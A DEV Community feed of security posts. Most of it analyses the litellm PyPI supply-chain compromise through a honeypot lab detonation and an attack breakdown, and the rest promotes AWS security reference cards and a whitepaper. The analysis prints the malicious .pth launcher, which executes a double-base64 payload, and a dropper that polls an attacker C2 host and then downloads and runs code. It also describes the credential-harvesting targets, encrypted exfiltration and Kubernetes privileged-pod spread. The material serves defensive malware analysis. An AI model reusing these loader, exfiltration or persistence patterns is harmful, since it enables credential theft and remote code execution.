DEV Community: Tarek CHEIKH

We Detonated the Real LiteLLM Malware on EC2: Here’s What Happened

Tarek CHEIKH — Wed, 25 Mar 2026 03:27:48 +0000

We obtained the actual compromised litellm 1.82.7 and 1.82.8 packages, set up a disposable EC2 instance with honeypot credentials and mitmproxy, and detonated the malware. This is what we captured.

Why we did this

Reading security advisories tells you what the malware is supposed to do. Running it tells you what it actually does. We wanted to see every file read, every network connection, every process fork, not from a report, but from our own logs.

We also wanted to answer a practical question: on a real EC2 instance with typical developer credentials, how fast does the damage happen?

The answer is 3 seconds. But we’re getting ahead of ourselves.

The lab setup

The instance

EC2 t3.medium (2 vCPU, 4 GB RAM), Ubuntu 22.04
No IAM role attached (to avoid real credential exposure)
Security group : SSH inbound only

The tools

| Tool | Purpose |
|-------------|--------------------------------------------------------|
| mitmproxy | Intercept and log all HTTPS traffic |
| inotifywait | Watch credential files for reads in real-time |
| strace | Trace every syscall (file opens, forks, network calls) |
| tcpdump | Capture raw packets (DNS, IMDS queries) |
| auditd | Kernel-level audit trail for credential file access |

The honeypot credentials

We planted fake credentials in every location the malware is known to target:

~/.ssh/id_rsa Fake SSH private key
~/.ssh/id_ed25519 Fake SSH private key
~/.ssh/config Fake SSH host configs
~/.aws/credentials Fake AWS access keys (two profiles)
~/.aws/config Fake AWS config with role ARN
~/.kube/config Fake Kubernetes cluster config
~/.env Fake API keys (OpenAI, Anthropic, Stripe, DB)
~/.git-credentials Fake GitHub token
~/.docker/config.json Fake Docker registry auth
~/.pgpass Fake PostgreSQL passwords
~/.my.cnf Fake MySQL credentials
~/.npmrc Fake npm token
~/project/terraform.tfvars Fake Terraform secrets
~/.bash_history Commands with "accidental" passwords

Every credential contains the word “HONEYPOT” or “FAKE” so we can easily identify them in captured traffic.

We also set **_AWS\_ACCESS\_KEY\_ID_** and **_AWS\_SECRET\_ACCESS\_KEY_** in the shell environment, the malware checks environment variables too.

Starting the monitors

Before installing anything malicious, we started all five monitoring tools:

# mitmproxy on port 8080
mitmdump -w ~/lab/captures/traffic.flow --set flow_detail=3 -p 8080 &

# tcpdump for DNS, HTTPS, and IMDS traffic
sudo tcpdump -i any -w ~/lab/captures/raw.pcap \
  'port 53 or port 443 or port 80 or host 169.254.169.254' &

# Filesystem watcher on all credential locations
inotifywait -m -r --format '%T %w%f %e' --timefmt '%H:%M:%S' \
  ~/.ssh ~/.aws ~/.kube ~/.env ~/.docker ~/.pgpass ~/.npmrc /tmp/ &

# Process tree snapshot every second
while true; do ps auxf --cols 200; sleep 1; done > processes.log &

# Audit rules for credential access
sudo auditctl -w ~/.ssh/ -p r -k ssh_access
sudo auditctl -w ~/.aws/ -p r -k aws_access

Screenshot: All monitors running, process tree before detonation

Run 1: The fork bomb

Installation

python3 -m venv ~/lab/malware-venv
source ~/lab/malware-venv/bin/activate
pip install --no-deps ~/lab/malware/litellm-1.82.8-py3-none-any.whl

pip installs the package normally. No warnings, no errors. But now **_litellm\_init.pth_** sits in **_site-packages/_**, armed and waiting.

$ find ~/lab/malware-venv -name "*.pth" -exec ls -la {} \;
-rw-rw-r-- 1 ubuntu ubuntu 34628 litellm_init.pth

34,628 bytes of base64-encoded malware, ready to fire on the next Python command.

Detonation

We set the proxy environment variables so traffic routes through mitmproxy, then trigger:

export HTTPS_PROXY=http://127.0.0.1:8080
python3 -c "print('hello world')"

A completely innocent command. And then the machine starts dying.

The fork bomb in real-time

The filesystem watcher lit up immediately:

Screenshot: Filesystem log showing pip install followed by the .pth triggering

The process monitor captured the exponential growth:

22:19:11 -> 3 python3 processes (normal: mitmproxy + system)
22:19:12 -> 14 DETONATION
22:19:13 -> 55 exponential growth
22:19:14 -> 83
22:19:15 -> 133
22:19:16 -> 157
22:19:18 -> 194
22:19:19 -> 220
22:19:20 -> 272
22:19:25 -> 390
22:19:30 -> 509
22:19:50 -> 891
                                     machine dead

3 to 891 Python processes in 38 seconds. Each **_.pth_** trigger spawns a **_Popen_**, which starts a new Python, which triggers the **_.pth_** again.

SSH became unresponsive. We couldn’t even run **_kill_**. We had to force stop the instance from the AWS Console.

Screenshot: AWS Console showing the instance in “Stopping” state after the fork bomb

But the credentials were already stolen

Even during the chaos, every forked process ran the harvester independently. The filesystem log shows:

22:19:14 .ssh/id_rsa OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .ssh/id_ed25519 OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .ssh/config OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .git-credentials OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .gitconfig OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .aws/credentials OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .aws/config OPEN, ACCESS, CLOSE <- STOLEN
22:19:14 .env OPEN, ACCESS, CLOSE <- STOLEN
22:19:15 .docker/ OPEN, ACCESS, CLOSE <- SCANNED
22:19:15 .kube/ OPEN, ACCESS, CLOSE <- SCANNED

All credentials harvested in under 2 seconds. Then each of the 891 forked processes tried to do the same thing again, which is what consumed all the memory.

The strace log confirmed it at the syscall level:

5128 22:19:14.293419 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_rsa", O_RDONLY)
5128 22:19:14.308065 openat(AT_FDCWD, "/home/ubuntu/.ssh/id_ed25519", O_RDONLY)
5128 22:19:14.641115 openat(AT_FDCWD, "/etc/ssh", O_RDONLY|O_DIRECTORY)
5128 22:19:14.656340 openat(AT_FDCWD, "/etc/ssh/ssh_host_ecdsa_key", O_RDONLY)
5128 22:19:14.660708 openat(AT_FDCWD, "/etc/ssh/ssh_host_ed25519_key", O_RDONLY)
5128 22:19:14.666879 openat(AT_FDCWD, "/etc/ssh/ssh_host_rsa_key", O_RDONLY)
5128 22:19:14.804001 openat(AT_FDCWD, "/home/ubuntu/.aws/credentials", O_RDONLY)

The malware even went after the system SSH host keys in **_/etc/ssh/_**. On a server, this means the attacker could impersonate it.

Recovery

To recover from the fork bomb:

Force stop the instance from AWS Console (SSH is dead)
Start it again (it gets a new public IP)
Immediately SSH in and delete the .pth: **_rm ~/lab/malware-venv/lib/python3.10/site-packages/litellm\_init.pth_**
The instance is now safe

The .pth file lives inside the venv, not the system Python. So a regular **_python3_** outside the venv won’t trigger it. But you must delete it before activating the venv again.

Run 2: Controlled detonation

With the .pth bomb defused, we ran the decoded payload directly, single process, no fork bomb.

export HTTPS_PROXY=http://127.0.0.1:8080
export AWS_ACCESS_KEY_ID=AKIAHONEYPOT_ENV_VAR_X
export AWS_SECRET_ACCESS_KEY=FAKE_ENV_SECRET_FOR_LAB

python3 ~/lab/malware/decoded_payload.py

What mitmproxy captured

This is the single most important piece of evidence from the lab:

Screenshot: mitmproxy showing all intercepted traffic — IMDS, AWS APIs, C2 exfiltration

Let’s go through each request:

Request 1: EC2 IMDS query (curl)

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
-> 404 Not Found (no IAM role attached to our instance)

The malware’s first move: check if the instance has an IAM role. If it did, it would steal the temporary credentials. On any EC2 instance without IMDSv2 enforced, this works silently.

Request 2: IMDSv2 token (Python urllib)

PUT http://169.254.169.254/latest/api/token
X-Aws-Ec2-Metadata-Token-Ttl-Seconds: 21600
-> 200 OK (token returned!)

The malware is smart: it tries both IMDSv1 (simple GET) and IMDSv2 (PUT for token first). It successfully obtained an IMDSv2 token from our instance.

Request 3: IAM credentials with token

GET http://169.254.169.254/latest/meta-data/iam/security-credentials/
X-Aws-Ec2-Metadata-Token: AQAEAOKJVhjTgs424B9...
-> 404 Not Found (still no role)

Request 4: AWS Secrets Manager

CONNECT secretsmanager.us-east-1.amazonaws.com:443
-> TLS handshake error (our honeypot keys are not real)

The malware tried to dump every secret in AWS Secrets Manager using SigV4 signed requests. It failed because our fake AWS keys can’t authenticate. With real keys, this would dump every secret.

Request 5: AWS SSM Parameter Store

CONNECT ssm.us-east-1.amazonaws.com:443
-> TLS handshake error (fake keys)

Same thing, tried to dump all SSM parameters. Failed for the same reason.

Request 6: Exfiltration to C2

CONNECT models.litellm.cloud:443
-> "Name or service not known" (domain is down)

The big one. The malware tried to POST the encrypted credential archive (**_tpcp.tar.gz_**) to the attacker’s C2 server. The domain **_models.litellm.cloud_** was already seized or taken down.

Request 7: ECS credentials

GET http://169.254.170.2/
-> Connection timed out

The malware also tried the ECS container credentials endpoint, in case it was running inside an ECS task.

What htop showed

While the malware was running, htop revealed what it was doing in real-time:

Screenshot: htop showing the malware searching for cryptocurrency wallet credentials

The top process: **_grep -r rpcuser|rpcpassword|rpcauth /root /home_**: the malware was recursively searching the entire filesystem for cryptocurrency RPC credentials. Bitcoin, Ethereum, Solana wallet configurations use **_rpcuser_** and **_rpcpassword_** fields.

Screenshot: htop showing strace at 100% CPU while tracing the malware

Filesystem evidence

The filesystem watcher from Run 2 confirmed the credential theft:

23:02:33 .ssh/id_rsa OPEN, ACCESS, CLOSE
23:02:33 .ssh/id_ed25519 OPEN, ACCESS, CLOSE
23:02:33 .ssh/config OPEN, ACCESS, CLOSE
23:02:33 .git-credentials OPEN, ACCESS, CLOSE
23:02:33 .gitconfig OPEN, ACCESS, CLOSE
23:02:33 .aws/credentials OPEN, ACCESS, CLOSE
23:02:33 .aws/config OPEN, ACCESS, CLOSE
23:02:33 .env OPEN, ACCESS, CLOSE
23:02:33 .docker/ OPEN, CLOSE (directory scan)
23:02:33 .kube/ OPEN, CLOSE (directory scan)

All within the same second. The harvester is fast.

Run 3: Persistence analysis

We ran the payload one more time to see if the persistence mechanism would install:

rm -rf ~/.config/sysmon ~/.config/systemd/user/sysmon.service
python3 ~/lab/malware/decoded_payload.py

Screenshot: sysmon.py created but 0 bytes

The malware created **_~/.config/sysmon/sysmon.py_** and the **_~/.config/systemd/user/_** directory. But **_sysmon.py_** was 0 bytes, the persistence write failed silently (the **_except: pass_** in the harvester swallowed the error).

We decoded the persistence payload manually. Here is what **_sysmon.py_** would contain on a real victim:

C_URL = "https://checkmarx.zone/raw" # C2 (Command and Control) server
TARGET = "/tmp/pglog" # Downloaded payload
STATE = "/tmp/.pg_state" # Dedup state

time.sleep(300) # 5 min delay (sandbox evasion)
while True:
    url = fetch_from_c2()
    if url and "youtube.com" not in url: # Kill switch
        download_and_execute(url)
    time.sleep(3000) # Poll every 50 min

The **_youtube.com_** check is interesting: if the C2 returns a YouTube URL, the dropper does nothing. This is likely the attacker’s safety mechanism to deactivate the malware remotely.

System log evidence

The syslog from the fork bomb run contains the kernel listing Python processes at OOM time:

Mar 24 22:30:04 kernel: [6326] 1000 6326 2495 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6327] 1000 6327 2487 96 0 96 0 45056 0 0 python3
Mar 24 22:30:04 kernel: [6328] 1000 6328 1934 96 0 96 0 40960 0 0 python3
Mar 24 22:30:04 kernel: [6331] 1000 6331 1934 64 0 64 0 49152 0 0 python3
... (dozens more python3 entries)

The kernel was about to invoke the OOM killer on all those python3 processes. We stopped the instance before it got there.

The decoded malware

All three stages of the malware, decoded and readable:

Screenshot: The decoded payload showing the RSA public key and base64-encoded harvester

Screenshot: Decoded Stage 1 showing AES-256 encryption and curl POST to C2

Screenshot: Both compromised wheels and decoded payloads on the lab instance

What we proved

The .pth mechanism is devastating. A single **_python3_** command, not even importing litellm triggers the malware. The fork bomb is a side effect, not the intent, but it makes the attack visible.
Credential theft takes under 2 seconds. From trigger to having read every SSH key, AWS credential, and .env file on the machine less than 2 seconds.
The malware actively exploits AWS. It doesn’t just steal static credential files. It queries EC2 IMDS for IAM role credentials, tries to dump Secrets Manager, and tries to dump SSM Parameter Store. It implements full AWS SigV4 request signing.
Kubernetes lateral movement is real. If a service account token exists, the malware reads all cluster secrets and deploys privileged pods on every node.
The exfiltration is encrypted and stealthy. AES-256-CBC with RSA-4096 key wrapping. The POST to models.litellm.cloud looks like a normal API call in logs.
Persistence survives pip uninstall. The systemd backdoor lives in **_~/.config/_**, outside pip’s control.

Reproduce this yourself

Everything you need is in our repo:

git clone https://github.com/TocConsulting/litellm-supply-chain-attack-analysis
cd litellm-supply-chain-attack-analysis

# Launch the lab (creates EC2, installs tools, plants honeypots, uploads malware)
bash lab/scripts/launch-lab.sh

# SSH in
ssh -i ~/.ssh/litellm-lab.pem ubuntu@<PUBLIC_IP>

# Start monitors, then detonate
bash ~/lab/scripts/monitor-all.sh
bash ~/lab/scripts/detonate.sh

Warning: The fork bomb WILL crash a t3.medium instance. You will need to force stop it from the AWS Console, restart, and delete the .pth file. Then run the decoded payload directly for controlled analysis. Full instructions in the repo.

Warning: These are real malware samples. Only run them on disposable instances with no real credentials. Read WARNING.md before proceeding.

Full evidence

All evidence from our lab runs is published in the repo:

| Evidence | What it proves |
|---------------------------------------------------------------------------|-----------------------------------------------------|
| [mitmproxy.log](../lab/evidence/logs-run2/mitmproxy.log) | Full HTTPS traffic: IMDS, AWS APIs, C2 exfiltration |
| [filesystem.log](../lab/evidence/logs-run2/filesystem.log) | Every credential file read with timestamp |
| [processes.log (run1)](../lab/evidence/logs-run1/processes.log) | Fork bomb: 3 to 891 processes in 38 seconds |
| [strace extracts](../lab/evidence/logs-run2/strace-run2-KEY-EXTRACTS.txt) | Syscall-level proof of file reads |
| [syslog](../lab/evidence/var-log/syslog) | Kernel OOM listing python3 processes |
| [All screenshots](../lab/evidence/screenshots/) | Visual evidence of every stage |

Anatomy of a Supply Chain Attack: How LiteLLM Was Weaponized in 6 Hours

Tarek CHEIKH — Wed, 25 Mar 2026 03:27:01 +0000

Yesterday, one of the most popular Python packages in the AI ecosystem was turned into a weapon. Here is exactly how it happened, what the malware does, and what every developer needs to know.

The target

LiteLLM is an open source Python library that acts as a unified gateway to 100+ LLM providers: OpenAI, Anthropic, Azure, AWS Bedrock, and more. It has about 95 million monthly downloads on PyPI.

Organizations use it as their central LLM proxy. This means that by design, LiteLLM has access to every LLM API key in the organization.

The attacker didn't pick this target randomly.

How they got in

The LiteLLM compromise was not a standalone attack. It was the third stage of a campaign by a threat actor tracked as TeamPCP.

The chain

Attack Chain Flow Diagram

March 1 : Aqua Security, the company behind the vulnerability scanner Trivy, gets breached. Their credential rotation after the incident is incomplete, some tokens survive.

March 19 : Using surviving credentials, TeamPCP publishes a compromised version of Trivy. The irony: Trivy is the security scanner organizations run to detect compromises. The attacker compromised the tool that detects compromises.

March 23 : Here is the critical link. LiteLLM's CI/CD pipeline had this line in ci_cd/security_scans.sh:

curl -sfL https://raw.githubusercontent.com/aquasecurity/trivy/main/contrib/install.sh | sh

No version pinning. This installs whatever the latest Trivy is including the compromised one. When LiteLLM's CI ran its security scan, the poisoned Trivy had access to the CI environment's secrets, including PyPI API tokens belonging to maintainer krrishdholakia.

March 23 : The attacker registers the domain litellm.cloud through registrar Spaceship, Inc. The legitimate LiteLLM domain is litellm.ai. The similarity is intentional: models.litellm.cloud looks like a real API endpoint in network logs.

March 24, 08:30 UTC : Using the stolen PyPI token, TeamPCP uploads two malicious versions directly to PyPI:

1.82.7 : malicious code injected into proxy_server.py
1.82.8 : same injection plus a .pth file (more on this below)

No Git tag was created. No GitHub release. No pull request. The attacker uploaded directly to PyPI, completely bypassing code review.

The weapon: what is a .pth file?

This is the technical trick that makes the LiteLLM attack so dangerous.

Python has a little known startup mechanism. When the interpreter starts, it scans the site-packages/ directory for files ending in .pth. These files were designed to add directories to Python's import path.

But there is a dangerous feature: any line in a .pth file that starts with import is executed as Python code. Not added to a path. Executed. On every Python interpreter startup. Unconditionally.

This means:

You don't need to import litellm
You don't need to run any litellm code
You just need litellm to be installed in the environment
Any python command triggers it, including python --version

The launcher

The attacker placed a file called litellm_init.pth (34,628 bytes) inside the wheel package. When installed via pip, it lands in site-packages/. It contains a single line:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c",
  "import base64; exec(base64.b64decode(base64.b64decode('PAYLOAD')))"],
  stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)

What this does:

subprocess.Popen: Forks a new child process. Popen (not run or call) returns immediately without waiting. The parent Python process continues normally. The user sees no delay, no error, nothing. Under the hood this is fork() + exec().
base64.b64decode(base64.b64decode(...)): Double base64 decoding. The outer decode produces another base64 string. The inner decode produces the actual malware. Double encoding evades scanners that pattern match on known malicious code.
exec(...): Executes the decoded 331 line credential harvester in the child process.
stdout=DEVNULL, stderr=DEVNULL: Suppresses all output. Silent.

Screenshot: Base64 encoded payload visible in the .pth file

The fork bomb: an unintended side effect

There is a catch the attacker apparently didn't fully account for. When the .pth file triggers subprocess.Popen to launch a new Python process, that new process also starts up, scans site-packages/, finds the same .pth file, and triggers it again. And again. And again.

Fork Bomb Flow Diagram

We observed this firsthand in our lab. Starting from a single python3 -c "print('hello')" command:

| Time  | Python processes |
|-------|------------------|
| T+0s  | 3 (normal)       |
| T+1s  | 14               |
| T+2s  | 55               |
| T+4s  | 133              |
| T+13s | 390              |
| T+18s | 509              |
| T+38s | 891              |
| T+40s | Machine dead     |

From 3 to 891 Python processes in 38 seconds. The machine ran out of RAM and became completely unresponsive.

This is actually how the attack was originally discovered. Callum McMahon at FutureSearch noticed his machine ran out of RAM when an MCP plugin in the Cursor IDE pulled litellm as a transitive dependency.

The payload: what it steals

Once decoded and executing, the payload is a 331 line Python script that operates in three stages.

Stage 1: Credential harvesting

The script reads files from well known paths. Every secret on the machine is a target:

SSH credentials:

~/.ssh/id_rsa, ~/.ssh/id_ed25519: private keys
~/.ssh/config: host configurations, jump hosts
/etc/ssh/ssh_host_*_key: server host keys

Cloud provider credentials:

~/.aws/credentials: AWS Access Key ID and Secret
GCP service account JSON keys
Azure CLI token cache
EC2 IMDS queries (169.254.169.254) for IAM role credentials
AWS Secrets Manager dump via SigV4 signed API calls
AWS SSM Parameter Store dump

Kubernetes:

~/.kube/config: cluster access
Service account tokens at /var/run/secrets/kubernetes.io/serviceaccount/token
All secrets across all namespaces via the K8s API

Application secrets:

.env files (recursive search to depth 6)
Shell history (~/.bash_history, ~/.zsh_history)
Database credentials (.pgpass, .my.cnf, redis.conf)
Docker registry auth (~/.docker/config.json)
npm tokens (~/.npmrc)
Terraform state and variables (terraform.tfvars, terraform.tfstate)
CI/CD configs (Jenkinsfile, .gitlab-ci.yml, .travis.yml)
Cryptocurrency wallets (Bitcoin, Ethereum, Solana, Cardano, and more)

The script doesn't crash if a file doesn't exist. It silently skips it. It runs on any machine: developer laptop, CI runner, production server, Kubernetes pod and takes whatever is available.

Screenshot: Filesystem log showing the malware reading SSH keys, AWS credentials, git credentials

Stage 2: Encryption and exfiltration

The stolen data is not sent in plaintext:

Generate a random AES-256 session key using openssl rand
Encrypt all collected data with openssl enc -aes-256-cbc -pbkdf2
Encrypt the session key with a hardcoded 4096 bit RSA public key
Bundle everything into tpcp.tar.gz
POST to https://models.litellm.cloud/ with an X-Filename header

The RSA public key is hardcoded in the malware. Only the attacker holds the matching private key. Even if you capture the network traffic, you cannot decrypt the contents.

Screenshot: Decoded payload showing the AES encryption and curl exfiltration code

Stage 3: Kubernetes lateral movement

If the script detects a Kubernetes service account token, it escalates massively:

Read all secrets across all namespaces
For every node in the cluster, create a privileged pod:
- Named node-setup-NODE_NAME in kube-system namespace
- hostPID: true, hostNetwork: true, privileged: true
- Mounts the entire host filesystem at /host
- Tolerates all taints (runs on every node, including control plane)
- Installs the persistence backdoor on each node via chroot

One compromised pip install on a developer laptop can lead to every node in the Kubernetes cluster being backdoored.

Stage 4: Persistence

The malware installs a backdoor that survives pip uninstall:

~/.config/sysmon/sysmon.py: a 44 line Python script
~/.config/systemd/user/sysmon.service: a systemd service that auto starts it

The name "sysmon" is deliberately chosen, it mimics Microsoft's legitimate system monitoring tool. The script:

Waits 5 minutes before doing anything (sandbox evasion)
Polls https://checkmarx.zone/raw (the attacker's C2 server) every 50 minutes for new payloads
Downloads and executes whatever the C2 server provides
Has a kill switch: if the C2 returns a YouTube URL, it skips execution

After this step, even pip uninstall litellm doesn't help. The backdoor lives outside pip's control.

The two versions: why 1.82.8 was worse

	v1.82.7	v1.82.8
Injection in proxy_server.py	Yes	Yes
.pth file	No	Yes
Triggers when	You import litellm.proxy	Any Python command
Must use litellm?	Yes	No, just having it installed is enough

Version 1.82.7 was targeted, it only fires if you actually use the proxy module. Version 1.82.8 was a carpet bomb, every Python invocation triggers it.

The mitmproxy capture: seeing the attack in real-time

We set up a lab with mitmproxy intercepting all HTTPS traffic from the malware. Here is what we captured:

1. GET 169.254.169.254/.../security-credentials/ -> Steal IAM role
2. PUT 169.254.169.254/latest/api/token -> Get IMDSv2 token
3. CONNECT secretsmanager.us-east-1.amazonaws.com -> Dump Secrets Manager
4. CONNECT ssm.us-east-1.amazonaws.com -> Dump SSM Parameters
5. CONNECT models.litellm.cloud:443 -> Exfiltrate to C2
6. GET 169.254.170.2 -> Steal ECS credentials

Screenshot: mitmproxy capturing all malicious traffic — IMDS queries, AWS API calls, C2 exfiltration

The malware tried to reach 5 different endpoints. On a real EC2 instance with an IAM role and real AWS credentials, steps 1–4 would have succeeded silently dumping every secret in Secrets Manager and SSM Parameter Store.

Discovery and response

12:00 UTC : Callum McMahon at FutureSearch notices his machine running out of RAM.

13:48 UTC : Security issue disclosed on GitHub.

15:00 UTC : PyPI yanks versions 1.82.7 and 1.82.8.

16:00 UTC : PyPI quarantines the entire litellm package.

The attack window was approximately 6.5 hours. During that time, anyone who ran pip install litellm or pip install --upgrade litellm received the compromised version.

Why it worked

Several factors aligned:

Unpinned dependency in CI/CD : LiteLLM installed Trivy via curl | sh without version pinning, inheriting Trivy's compromise.
PyPI token in CI environment : The publishing credentials were accessible to the CI job that ran Trivy. Principle of least privilege was not applied.
No release verification : PyPI does not verify that a published version has a corresponding Git tag. Anyone with the token can upload anything.
The .pth mechanism : A 22 year old Python feature that auto executes code on startup. No CVE. No bug. Just a feature that enables silent code execution.
LiteLLM's role as a key gateway : The package, by design, has access to every LLM API key. Compromising it yields maximum credential harvest.

What you should do right now

If you installed litellm 1.82.7 or 1.82.8:

Run pip show litellm to check your version
Search for litellm_init.pth in your Python site-packages
Check for ~/.config/sysmon/sysmon.py on any affected machine
Check for pods named node-setup-* in your Kubernetes clusters
Rotate every credential on any affected system: SSH keys, AWS keys, K8s configs, API tokens, database passwords, everything

For everyone:

Pin your dependencies. Every one. Including tools fetched via curl | sh.
Scope your CI/CD secrets. Publishing tokens should only be accessible to dedicated publishing jobs.
Use PyPI Trusted Publishers (OIDC-based publishing from GitHub Actions, no static tokens to steal).
Periodically scan site-packages/ for .pth files containing executable code.
Check that your PyPI dependencies have matching GitHub tags.

Going deeper

In Part 2, we detonate the real compromised package on an isolated EC2 instance and capture every stage of the attack with mitmproxy, strace, and inotifywait. We see the fork bomb in real-time, watch the credential harvester read our honeypot files, and intercept the exfiltration attempt.

Full analysis repo with malware samples, lab scripts, and evidence: https://github.com/TocConsulting/litellm-supply-chain-attack-analysis

AWS Security Cards: Free Offensive Security Reference for 60 AWS Services

Tarek CHEIKH — Tue, 17 Mar 2026 01:40:16 +0000

AWS documentation tells you how services work. It doesn’t tell you how they break.

AWS Security Cards: fills that gap. It’s a free, open-source set of security reference cards: one per AWS service, 60 total , covering attack vectors, misconfigurations, enumeration commands, privilege escalation, persistence, detection, and defense. Available in Markdown, HTML, and PDF.

What’s in a card

Each card covers a single AWS service from an offensive and defensive security perspective:

Service overview: with attacker-relevant context
Attack vectors: concrete exploitation paths, not vague risk statements
Common misconfigurations: what actually leads to breaches
Enumeration commands: copy-paste AWS CLI for security assessments
Privilege escalation: how read access becomes admin
Persistence techniques: how access survives incident response
Detection indicators: what shows up in CloudTrail and monitoring
Policy examples: good vs. bad IAM/resource policies, side by side
Defense recommendations: hardening commands you can run today
Risk score: from 5.5 to 9.5, to help prioritize

Risk scores across the board

| Risk | Services |
|---------|--------------------------------------------------------------------------------------------------------------------------|
| 9.5 | IAM, STS, Organizations, Secrets Manager, Identity Center |
| 9.0–9.2 | Redshift, EC2, S3, EKS, RDS, CodeBuild, CloudFormation, Route 53, Backup, Glue, Directory Service |
| 8.5 | CloudTrail, API Gateway, ECR, ECS, OpenSearch, Systems Manager, SageMaker, Step Functions, Security Hub, Transit Gateway |
| 7.0–8.0 | DynamoDB, Cognito, KMS, EBS, AppSync, Athena, EventBridge, RAM, VPC, GuardDuty, and more |
| < 7.0 | App Runner, SQS, ELB, SNS, Amplify, Inspector, ACM, Network Firewall, WAF |

Some of these might surprise you. AWS Backup at 9.0, higher than Lambda. An attacker who gets into Backup can delete every recovery point in your account. Ransomware with no recovery path. CodeBuild at 9.0, one malicious buildspec exfiltrates every secret and poisons every artifact downstream.

A few things worth knowing

There are 20+ known privilege escalation paths through IAM alone. **_CreatePolicyVersion_**, **_PassRole_**, **_UpdateAssumeRolePolicy_**, **_AttachUserPolicy_**. Most AWS accounts have at least one of these unguarded.

Many persistence techniques don’t produce obvious CloudTrail signals. A Lambda layer with a backdoor, an ECR image with a modified entrypoint, a trust policy added to a role. Standard alerting won’t catch these unless you’re specifically looking.

CI/CD is the new perimeter. ECR, CodeBuild, and CodePipeline are supply chain components. Compromise one, and everything that deploys through it is tainted.

Formats

Each card ships in three formats, all generated from the same source:

Markdown : readable on GitHub, easy to search and contribute to
HTML: standalone dark-themed pages, works offline in any browser
PDF: print-ready, with embedded images and AWS service icons

Use cases

Print the PDFs for your next pentest. Use the enumeration commands during a security assessment. Hand the defense recommendations to your engineering team after an audit. Use the policy examples in a training session. Search the Markdown files when you need to quickly check a specific service.

Contribute

MIT licensed. If something is wrong or missing, open a PR.

GitHub : https://github.com/TocConsulting/aws-security-cards

AWS Security Cards: 54 Services, One Card Each

Tarek CHEIKH — Sun, 08 Mar 2026 22:44:54 +0000

You’re reviewing an AWS account. You need to check Lambda security. What are the attack vectors? What misconfigurations should you look for? What CLI commands give you the full picture?

You open AWS docs. Then a blog post. Then another one from 2022 that may or may not still apply. Then Stack Overflow. Four tabs later you have half the answer.

Multiply that by 54 services.

I put everything in one place.

What’s a security card?

One page per AWS service. Each card has six sections:

Attack vectors: how the service gets compromised in practice
Misconfigurations: the stuff that keeps showing up in audits
Enumeration commands: **_aws cli_** commands, copy-paste ready
Privilege escalation: how initial access turns into something worse
Persistence: how attackers stay in
Detection indicators: CloudTrail events and GuardDuty findings to watch

Plus a risk score, good vs. bad policy examples side by side, and defense recommendations.

tocconsulting.fr/security-cards. No signup. No email. Just open it.

Example: S3

Open the S3 card. You get:

Attack vectors: bucket policy manipulation, cross-account access abuse, SSE-C ransom (yes, that’s a thing now).

Misconfigurations: **_BlockPublicAccess_** off is the obvious one. But also wildcard principals in bucket policies, missing encryption enforcement, no access logging.

CLI commands :

aws s3api get-bucket-policy --bucket my-bucket
aws s3api get-public-access-block --bucket my-bucket
aws s3api get-bucket-acl --bucket my-bucket

Detection: CloudTrail management events like PutBucketPolicy, DeleteBucketPolicy, and PutBucketEncryption are logged by default. Enable S3 data events to catch object-level activity like GetObject and PutObject. Copy both into your alerting rules.

Same structure for all 54 services.

What’s covered

9 categories:

| Category | Services |
|---------------------|-------------------------------------------------------------------------------------------|
| Identity & Security | IAM, KMS, Secrets Manager, STS, Cognito, ACM, Directory Service, Organizations, GuardDuty |
| Compute | EC2, Lambda, ECS, EKS, Batch, CodeBuild, App Runner, Amplify |
| Storage | S3, EBS, EFS, Backup |
| Database | RDS, DynamoDB, ElastiCache, OpenSearch, Redshift, MemoryDB |
| Networking | VPC, ELB, CloudFront, API Gateway, Route 53, AppSync, Network Firewall, WAF |
| Analytics | Glue, Athena, Kinesis, MSK, Lake Formation |
| Integration | SNS, SQS, EventBridge, Step Functions, Transfer Family, DataSync |
| Monitoring | CloudTrail, CloudWatch, Inspector, Config, SSM |
| AI/ML | SageMaker, Bedrock |

The usual suspects, but also the ones nobody audits: Transfer Family, Lake Formation, AppSync, MemoryDB. Until someone exploits them.

Numbers

54 services
500+ attack vectors
300+ CLI commands
200+ detection indicators

Use it however you want

As an audit checklist. As a pentest reference. As a pre-deployment review. Print the detection indicators and pin them next to your SIEM. Whatever works.

Goes with the whitepaper

I also wrote a whitepaper covering AWS security strategy for 2026, IAM, Zero Trust, agentic AI threats, compliance mapping. The cards give you per-service details. The whitepaper gives you the big picture.

tocconsulting.fr/whitepaper. Also free. Also no gate.

The State of AWS Security 2026: Free Whitepaper, No Gate

Tarek CHEIKH — Sun, 08 Mar 2026 22:27:05 +0000

Most AWS security content falls into two buckets.

Bucket one: “Enable MFA. Use least privilege. Encrypt at rest.” Thanks. Very helpful.

Bucket two: 80-page PDF from a consulting firm. 75 pages of filler. 5 pages of actual controls. Behind an email wall. Sales call follows.

Neither is useful when you need to actually secure an AWS environment on Monday morning.

I wrote something in between. Practical. Deployable.

tocconsulting.fr/whitepaper. Free PDF. No email. No signup.

What’s in it

8 chapters. 50+ security controls. 4 architecture diagrams. 14 “What Goes Wrong in Practice” sections from real audit experience.

Chapter 1: Threat Landscape

What attackers are actually doing in 2026. Capital One (SSRF + IAM misconfiguration). Codefinger (ransomware using S3 SSE-C encryption: AWS’s own feature). Sysdig’s report on AI-assisted intrusion. Supply chain attacks through abandoned S3 buckets.

Not to scare anyone. To show what was misconfigured and what would have stopped it.

Chapter 2: IAM

The longest chapter. Least privilege that works in practice. SCPs. Permission boundaries. Assume-role chains. Identity federation.

Chapter 3: Data Protection

S3 hardening. KMS encryption, SSE-S3 vs SSE-KMS, when each matters. Macie for data classification. Bucket policies that actually do what you think they do.

Chapter 4: Network Security

VPC design. Security groups vs NACLs. Zero Trust with architecture diagrams, not just the buzzword. WAF rules.

Chapter 5: Detection

CloudTrail + GuardDuty + Security Hub as a pipeline. What events to alert on. What to ignore. Custom rules for the gaps the managed services miss.

Chapter 6: Agentic AI

Everyone’s deploying Bedrock agents. Almost nobody is securing them.

